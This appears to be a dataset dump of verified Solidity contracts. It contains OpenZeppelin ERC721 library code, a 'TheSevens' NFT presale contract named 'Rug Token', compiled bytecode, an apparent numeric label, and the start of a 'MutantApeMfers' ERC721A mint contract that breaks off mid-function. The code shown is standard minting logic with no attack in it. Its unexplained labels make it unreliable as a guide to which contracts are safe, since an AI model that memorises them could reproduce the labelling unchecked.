safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol@v4.2.0 pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File @openzeppelin/contracts/utils/cryptography/ECDSA.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return recover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return recover(hash, r, vs); } else { revert("ECDSA: invalid signature length"); } } /** * @dev Overload of {ECDSA-recover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return recover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require( uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value" ); require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // File @openzeppelin/contracts/utils/math/SafeCast.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint224 from uint256, reverting on * overflow (when the input is greater than largest uint224). * * Counterpart to Solidity's `uint224` operator. * * Requirements: * * - input must fit into 224 bits */ function toUint224(uint256 value) internal pure returns (uint224) { require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits"); return uint224(value); } /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint96 from uint256, reverting on * overflow (when the input is greater than largest uint96). * * Counterpart to Solidity's `uint96` operator. * * Requirements: * * - input must fit into 96 bits */ function toUint96(uint256 value) internal pure returns (uint96) { require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits"); return uint96(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256"); return int256(value); } } // File contracts/TheSevens.sol pragma solidity =0.8.7; contract TheSevens is ERC721Enumerable, Ownable { using ECDSA for bytes32; using SafeCast for uint256; event TokenPriceChanged(uint256 newTokenPrice); event PresaleConfigChanged(address whitelistSigner, uint32 startTime, uint32 endTime); event SaleConfigChanged(uint32 startTime, uint32 initMaxCount, uint32 maxCountUnlockTime, uint32 unlockedMaxCount); event IsBurnEnabledChanged(bool newIsBurnEnabled); event TreasuryChanged(address newTreasury); event BaseURIChanged(string newBaseURI); event PresaleMint(address minter, uint256 count); event SaleMint(address minter, uint256 count); // Both structs fit in a single storage slot for gas optimization struct PresaleConfig { address whitelistSigner; uint32 startTime; uint32 endTime; } struct SaleConfig { uint32 startTime; uint32 initMaxCount; uint32 maxCountUnlockTime; uint32 unlockedMaxCount; } uint256 public immutable maxSupply; uint256 public immutable reserveCount; uint256 public tokensReserved; uint256 public nextTokenId; bool public isBurnEnabled; address payable public treasury; uint256 public tokenPrice; PresaleConfig public presaleConfig; mapping(address => uint256) public presaleBoughtCounts; SaleConfig public saleConfig; string public baseURI; bytes32 public DOMAIN_SEPARATOR; bytes32 public constant PRESALE_TYPEHASH = keccak256("Presale(address buyer,uint256 maxCount)"); constructor(uint256 _maxSupply, uint256 _reserveCount) ERC721("Rug Token", "RUG") { require(_reserveCount <= _maxSupply, "TheSevens: reserve count out of range"); maxSupply = _maxSupply; reserveCount = _reserveCount; uint256 chainId; assembly { chainId := chainid() } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes("The Rug Pull")), keccak256(bytes("1")), chainId, address(this) ) ); } function reserveTokens(address recipient, uint256 count) external onlyOwner { require(recipient != address(0), "TheSevens: zero address"); // Gas optimization uint256 _nextTokenId = nextTokenId; require(count > 0, "TheSevens: invalid count"); require(_nextTokenId + count <= maxSupply, "TheSevens: max supply exceeded"); require(tokensReserved + count <= reserveCount, "TheSevens: max reserve count exceeded"); tokensReserved += count; for (uint256 ind = 0; ind < count; ind++) { _safeMint(recipient, _nextTokenId + ind); } nextTokenId += count; } function setTokenPrice(uint256 _tokenPrice) external onlyOwner { tokenPrice = _tokenPrice; emit TokenPriceChanged(_tokenPrice); } function setUpPresale( address whitelistSigner, uint256 startTime, uint256 endTime ) external onlyOwner { uint32 _startTime = startTime.toUint32(); uint32 _endTime = endTime.toUint32(); // Check params require(whitelistSigner != address(0), "TheSevens: zero address"); require(_startTime > 0 && _endTime > _startTime, "TheSevens: invalid time range"); presaleConfig = PresaleConfig({whitelistSigner: whitelistSigner, startTime: _startTime, endTime: _endTime}); emit PresaleConfigChanged(whitelistSigner, _startTime, _endTime); } function setUpSale( uint256 startTime, uint256 initMaxCount, uint256 maxCountUnlockTime, uint256 unlockedMaxCount ) external onlyOwner { uint32 _startTime = startTime.toUint32(); uint32 _initMaxCount = initMaxCount.toUint32(); uint32 _maxCountUnlockTime = maxCountUnlockTime.toUint32(); uint32 _unlockedMaxCount = unlockedMaxCount.toUint32(); require(_initMaxCount > 0 && _unlockedMaxCount > 0, "TheSevens: zero amount"); require(_startTime > 0 && _maxCountUnlockTime > _startTime, "TheSevens: invalid time range"); saleConfig = SaleConfig({ startTime: _startTime, initMaxCount: _initMaxCount, maxCountUnlockTime: _maxCountUnlockTime, unlockedMaxCount: _unlockedMaxCount }); emit SaleConfigChanged(_startTime, _initMaxCount, _maxCountUnlockTime, _unlockedMaxCount); } function setIsBurnEnabled(bool _isBurnEnabled) external onlyOwner { isBurnEnabled = _isBurnEnabled; emit IsBurnEnabledChanged(_isBurnEnabled); } function setTreasury(address payable _treasury) external onlyOwner { treasury = _treasury; emit TreasuryChanged(_treasury); } function setBaseURI(string calldata newbaseURI) external onlyOwner { baseURI = newbaseURI; emit BaseURIChanged(newbaseURI); } function mintPresaleTokens( uint256 count, uint256 maxCount, bytes calldata signature ) external payable { // Gas optimization uint256 _nextTokenId = nextTokenId; // Make sure presale has been set up PresaleConfig memory _presaleConfig = presaleConfig; require(_presaleConfig.whitelistSigner != address(0), "TheSevens: presale not configured"); require(treasury != address(0), "TheSevens: treasury not set"); require(tokenPrice > 0, "TheSevens: token price not set"); require(count > 0, "TheSevens: invalid count"); require(block.timestamp >= _presaleConfig.startTime, "TheSevens: presale not started"); require(block.timestamp < _presaleConfig.endTime, "TheSevens: presale ended"); require(_nextTokenId + count <= maxSupply, "TheSevens: max supply exceeded"); require(tokenPrice * count == msg.value, "TheSevens: incorrect Ether value"); // Verify EIP-712 signature bytes32 digest = keccak256( abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, keccak256(abi.encode(PRESALE_TYPEHASH, msg.sender, maxCount))) ); address recoveredAddress = digest.recover(signature); require( recoveredAddress != address(0) && recoveredAddress == _presaleConfig.whitelistSigner, "TheSevens: invalid signature" ); require(presaleBoughtCounts[msg.sender] + count <= maxCount, "TheSevens: presale max count exceeded"); presaleBoughtCounts[msg.sender] += count; // The contract never holds any Ether. Everything gets redirected to treasury directly. treasury.transfer(msg.value); for (uint256 ind = 0; ind < count; ind++) { _safeMint(msg.sender, _nextTokenId + ind); } nextTokenId += count; emit PresaleMint(msg.sender, count); } function mintTokens(uint256 count) external payable { // Gas optimization uint256 _nextTokenId = nextTokenId; // Make sure presale has been set up SaleConfig memory _saleConfig = saleConfig; require(_saleConfig.startTime > 0, "TheSevens: sale not configured"); require(treasury != address(0), "TheSevens: treasury not set"); require(tokenPrice > 0, "TheSevens: token price not set"); require(count > 0, "TheSevens: invalid count"); require(block.timestamp >= _saleConfig.startTime, "TheSevens: sale not started"); require( count <= ( block.timestamp >= _saleConfig.maxCountUnlockTime ? _saleConfig.unlockedMaxCount : _saleConfig.initMaxCount ), "TheSevens: max count per tx exceeded" ); require(_nextTokenId + count <= maxSupply, "TheSevens: max supply exceeded"); require(tokenPrice * count == msg.value, "TheSevens: incorrect Ether value"); // The contract never holds any Ether. Everything gets redirected to treasury directly. treasury.transfer(msg.value); for (uint256 ind = 0; ind < count; ind++) { _safeMint(msg.sender, _nextTokenId + ind); } nextTokenId += count; emit SaleMint(msg.sender, count); } function burn(uint256 tokenId) external { require(isBurnEnabled, "TheSevens: burning disabled"); require(_isApprovedOrOwner(msg.sender, tokenId), "TheSevens: burn caller is not owner nor approved"); _burn(tokenId); } function _baseURI() internal view override returns (string memory) { return baseURI; } }
0x73f2f7412e1f62992a8350ababa8dac2f532102e5530146080604052600080fdfea26469706673582212203d794e289f6e49f9fe62ecc855cddb0165f9f70913a00b98a820fe0ec7b4437064736f6c63430008070033
[ 5 ]
0xF2F74D0b2bA74e052FB16413A0f0dA4dE5ADc67D
// SPDX-License-Identifier: UNLICENSED /* __ __ __ __ __ ___ ___ ___ __ | V |/ \| V | __| __| _ \/' _/ | \_/ | /\ | \_/ | _|| _|| v /`._`. |_| |_|_||_|_| |_|_| |___|_|_\|___/ */ pragma solidity ^0.8.10; import "./ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract MutantApeMfers is ERC721A, Ownable { bool public saleEnabled; uint256 public mintPrice; string public metadataBaseURL; string public provenance; uint256 public maxTxn = 50; uint256 public constant maxSupply = 4444; constructor() ERC721A("Mutant Ape Mfers", "MAMFERS", maxTxn) { saleEnabled = false; mintPrice = 0.0169 ether; } function setBaseURI(string memory baseURL) external onlyOwner { metadataBaseURL = baseURL; } function toggleSale() external onlyOwner { saleEnabled = !(saleEnabled); } function setMaxTxn(uint256 _maxTxn) external onlyOwner { maxTxn = _maxTxn; } function setPrice(uint256 _price) external onlyOwner { mintPrice = _price; } function _baseURI() internal view virtual override returns (string memory) { return metadataBaseURL; } function setProvenance(string memory _provenance) external onlyOwner { provenance = _provenance; } function withdraw() external onlyOwner { uint256 _balance = address(this).balance; address payable _sender = payable(_msgSender()); _sender.transfer(_balance); } function reserve(uint256 num) external onlyOwner { require((totalSupply() + num) <= maxSupply, "Exceed max supply"); _safeMint(msg.sender, num); } function mint(uint256 numOfTokens) external payable { require(numOfTokens > 0, "Must mint 1 token or more"); require(saleEnabled, "Sale isn't active"); require(totalSupply() + numOfTokens <= maxSupply, "Exceed max supply"); require( (mintPrice * numOfTokens) <= msg.value, "Insufficient funds to claim." ); _safeMint(msg.sender, numOfTokens); } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.10; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 1; uint256 public immutable maxBatchSize; string private _name; string private _symbol; mapping(uint256 => TokenOwnership) private _ownerships; mapping(address => AddressData) private _addressData; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_ ) { require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; } function totalSupply() public view override returns (uint256) { return currentIndex-1; } function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), 